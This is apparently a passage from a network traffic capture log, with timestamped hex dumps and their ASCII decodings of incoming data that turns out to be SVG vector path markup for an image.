2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 35 35 2c 31 Data Ascii: 1.2,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M155.31,178.08a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.2,3,3,0,0,1,.65-3.65,2.84,2.84,0,0,1,3.66,0,2.67,2.67,0,0,1,.2,3.62"/><path class="cls-7" d="M155,1
2023-07-27 19:54:37 UTC	6565	IN	Data Raw: 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 39 33 2e 30 37 2c 32 33 38 2e 33 32 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 39 32 2e 37 37 2c 32 32 39 2e 35 34 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c Data Ascii: 0,2.68,2.68,0,0,1,.2,3.61"/><path class="cls-7" d="M193.07,238.32a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M192.77,229.54a2.17,2.17,0,0,1-1,2.83,3.18,
2023-07-27 19:54:37 UTC	6581	IN	Data Raw: 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 33 30 2e 38 33 2c 32 39 38 2e 35 37 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 33 30 2e 35 Data Ascii: 1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M230.83,298.57a2.19,2.19,0,0,1-1,2.83,3.2,3.2,0,0,1-4.23-1.2,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M230.5
2023-07-27 19:54:37 UTC	6597	IN	Data Raw: 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 35 31 2e 33 35 2c 31 31 33 2e 33 31 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d Data Ascii: 3-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M251.35,113.31a2.17,2.17,0,0,1-1,2.82,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M
2023-07-27 19:54:37 UTC	6613	IN	Data Raw: 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 38 39 2e 31 2c 31 37 33 2e 35 35 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 Data Ascii: 1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.86,2.86,0,0,1,3.67.05,2.68,2.68,0,0,1,.2,3.61"/><path class="cls-7" d="M289.1,173.55a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.66,2.84,2.84,0,0,1,3.66.05,2.66,2.66,0,0,1,.2,3.61"/><path class="
2023-07-27 19:54:37 UTC	6629	IN	Data Raw: 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 32 36 2e 38 36 2c 32 33 33 2e 38 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c Data Ascii: ,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M326.86,233.8a2.17,2.17,0,0,1-1,2.82,3.17,3.17,0,0,1-4.22-1.19,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><
2023-07-27 19:54:37 UTC	6645	IN	Data Raw: 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 36 34 2e 36 32 2c 32 39 34 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 Data Ascii: 18,0,0,1-4.23-1.2,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M364.62,294a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67.05,2.68,2.68,0,0,1,.2,3.61"/><path cla
2023-07-27 19:54:37 UTC	6661	IN	Data Raw: 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 32 39 30 2e 36 34 2c 32 30 32 2e 33 37 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 32 39 30 2e 33 37 2c 31 39 34 2e 32 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e Data Ascii: ass="cls-9" d="M290.64,202.37a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M290.37,194.29a2,2,0,0,1-.91,2.61,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.
2023-07-27 19:54:37 UTC	6677	IN	Data Raw: 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 32 34 2e 38 33 2c 32 34 31 2e 36 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 38 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 32 34 2e 35 36 2c 32 33 33 Data Ascii: 8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M324.83,241.65a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.88-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M324.56,233
2023-07-27 19:54:37 UTC	6693	IN	Data Raw: 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 35 39 2e 33 2c 32 38 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2e 30 35 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 35 39 2c 32 38 30 2e 39 32 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d Data Ascii: 38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M359.3,289a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.62,2.62,0,0,1,3.37.05,2.45,2.45,0,0,1,.18,3.32"/><path class="cls-9" d="M359,280.92a2,2,0,0,1-.91,2.61,2.93,2.93,0,0,1-
2023-07-27 19:54:37 UTC	6709	IN	Data Raw: 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 39 33 2e 34 39 2c 33 32 38 2e 32 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c Data Ascii: 1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M393.49,328.28a2,2,0,0,1-.9,2.6,2.92,2.92,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,
2023-07-27 19:54:37 UTC	6725	IN	Data Raw: 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 32 38 2c 33 37 35 2e 36 33 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 32 37 2e 36 39 2c 33 36 37 2e 35 36 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 Data Ascii: ><path class="cls-9" d="M428,375.63a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.19,3.32"/><path class="cls-9" d="M427.69,367.56a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.3
2023-07-27 19:54:37 UTC	6741	IN	Data Raw: 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 34 36 2e 32 39 2c 31 38 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d Data Ascii: 3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M446.29,189a2,2,0,0,1-.9,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d=
2023-07-27 19:54:37 UTC	6757	IN	Data Raw: 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 38 30 2e 34 39 2c 32 32 38 2e 32 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 Data Ascii: ,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,1,3.37,0,2.47,2.47,0,0,1,.19,3.33"/><path class="cls-9" d="M480.49,228.29a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.46,2.46,0,0,1
2023-07-27 19:54:37 UTC	6773	IN	Data Raw: 2d 39 22 20 64 3d 22 4d 35 31 35 2c 32 37 35 2e 36 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 34 2e 36 38 2c 32 36 37 2e 35 37 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c Data Ascii: -9" d="M515,275.65a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M514.68,267.57a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,
2023-07-27 19:54:37 UTC	6789	IN	Data Raw: 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2e 30 35 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 39 2e 31 35 2c 33 31 34 2e 39 32 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 38 2e 38 38 2c 33 30 36 2e Data Ascii: 0,0,1,.59-3.37,2.63,2.63,0,0,1,3.38.05,2.46,2.46,0,0,1,.18,3.32"/><path class="cls-9" d="M549.15,314.92a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.47,2.47,0,0,1,.18,3.33"/><path class="cls-9" d="M548.88,306.
2023-07-27 19:54:37 UTC	6805	IN	Data Raw: 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 38 33 2e 36 32 2c 33 36 32 2e 32 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 38 33 2e 33 34 2c 33 35 34 2e 32 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 31 2c 32 2e 39 31 2c 30 2c 30 2c 31 2d 33 2e 38 38 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 34 Data Ascii: ss="cls-9" d="M583.62,362.28a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M583.34,354.2a2,2,0,0,1-.91,2.6,2.91,2.91,0,0,1-3.88-1.09,2.81,2.81,0,0,1,.59-3.37,2.64
2023-07-27 19:54:37 UTC	6821	IN	Data Raw: 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 33 2c 32 34 2e 37 38 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 41 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 33 32 39 2e 31 2c 32 36 61 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 32 2e 37 33 2c 31 38 2e 33 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 Data Ascii: ,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M333,24.78a1.61,1.61,0,0,1-.73,2.09A2.34,2.34,0,0,1,329.1,26a2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M332.73,18.3a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0
